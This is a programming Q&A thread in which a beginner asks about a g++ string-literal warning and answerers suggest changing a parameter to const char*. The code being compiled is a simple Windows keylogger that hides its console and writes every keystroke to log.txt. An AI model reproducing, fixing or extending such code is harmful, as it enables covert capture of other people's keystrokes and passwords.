Errors after attempting to compile C++ program

Question

I recently had a problem that got solved (was compiling a c++ program with c compiler) but that brought up a few new errors in the code that a copied off of a site. After compiling the code below with the g++ -o wowie wowie.c command,

#include <iostream>
#include <Windows.h>
using namespace std;
int Save(int _key, char* file);
int main()
{
    FreeConsole();
    char i;
    while (true) {
        Sleep(10);
        for (i = 8; i <= 255; i++) {
            if (GetAsyncKeyState(i) == -32767) {
                Save(i, "log.txt");
            }
        }
    }
    return 0;
}
int Save(int _key, char* file)
{
    cout << _key << endl;
    Sleep(10);
    FILE* OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    if (_key == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if (_key == VK_BACK)
        fprintf(OUTPUT_FILE, "%s", "[BACK]");
    else if (_key == VK_LBUTTON)
        fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
    else if (_key == VK_RETURN)
        fprintf(OUTPUT_FILE, "%s", "[RETURN]");
    else if (_key == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    else
        fprintf(OUTPUT_FILE, "%s", &_key);
    fclose(OUTPUT_FILE);
    return 0;
}

command prompt said:

wowie.c: In function 'int main()':
wowie.c:12:19: warning: deprecated conversion from string constant to 'char*' [-Wwrite-strings]
  Save(i, "log.txt");
               ^

Are there errors in the code or am I doing it wrong, and how can I fix it? If anyone could help, I'd really appreciate it. Thanks! (using GCC compiler, windows 10 64-bit)

The only C++ I see in your code is `cout`. Are you using a C API? It seems that `Save` expects an array of `char`s (C-style string) as its second parameter instead of a C++ `std::string`. The warning is telling you that implicitly converting from a C++ string literal to a C-style string is deprecated. — Mike Borkland, Jun 19 '18 at 17:55
I'm not sure about windows, but I think `fprintf` is in `` and you will need to include it — Srini, Jun 19 '18 at 17:58

Alan Birtles · Answer 1 · 2018-06-19T18:04:07.503

1

String literals have the type const char[N] (you aren't supposed to modify them) which can be converted to `const char.

You are passing one to a function with a parameter of char*, this means the function is allowed to modify the string which may well lead to unexpected results.

You should change your Save function to take const char* unless it really needs to modify the filename passed to it:

int Save(int _key, const char *file);

edited Jun 19 '18 at 18:04

answered Jun 19 '18 at 17:52

Alan Birtles

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Still a bit confused as to what to do with this. Sorry, I'm still a beginner! – user9963001 Jun 19 '18 at 17:55
1

Nitpicking: String literals are `const char[N]`, not pointers. – HolyBlackCat Jun 19 '18 at 17:57
1

"Not supposed to" is an understatement, you cannot modify them. – Baum mit Augen Jun 19 '18 at 17:59
@user9963001 just change your function declaration to match what I've posted – Alan Birtles Jun 19 '18 at 18:03
@BaummitAugen this is c++, you aren't supposed to but might be able to, simply cast away the const and you can modify them as much as you like. It's definitely UB and your OS may have loaded them into a read only page which would prevent this. – Alan Birtles Jun 19 '18 at 18:09
@AlanBirtles No, you **cannot** because you are not allowed to. Do you respond to "You cannot run red lights." by shouting "Watch me!" and flooring the gas? – Baum mit Augen Jun 21 '18 at 09:22

Errors after attempting to compile C++ program

1 Answers1